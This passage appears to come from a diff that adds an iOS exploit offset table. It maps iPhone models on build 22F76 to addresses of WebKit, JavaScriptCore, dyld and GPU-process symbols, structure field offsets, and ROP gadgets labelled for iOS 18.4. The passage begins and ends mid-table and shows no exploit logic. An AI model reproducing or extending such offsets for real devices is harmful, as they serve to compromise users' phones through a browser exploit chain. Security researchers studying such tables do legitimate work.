0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + 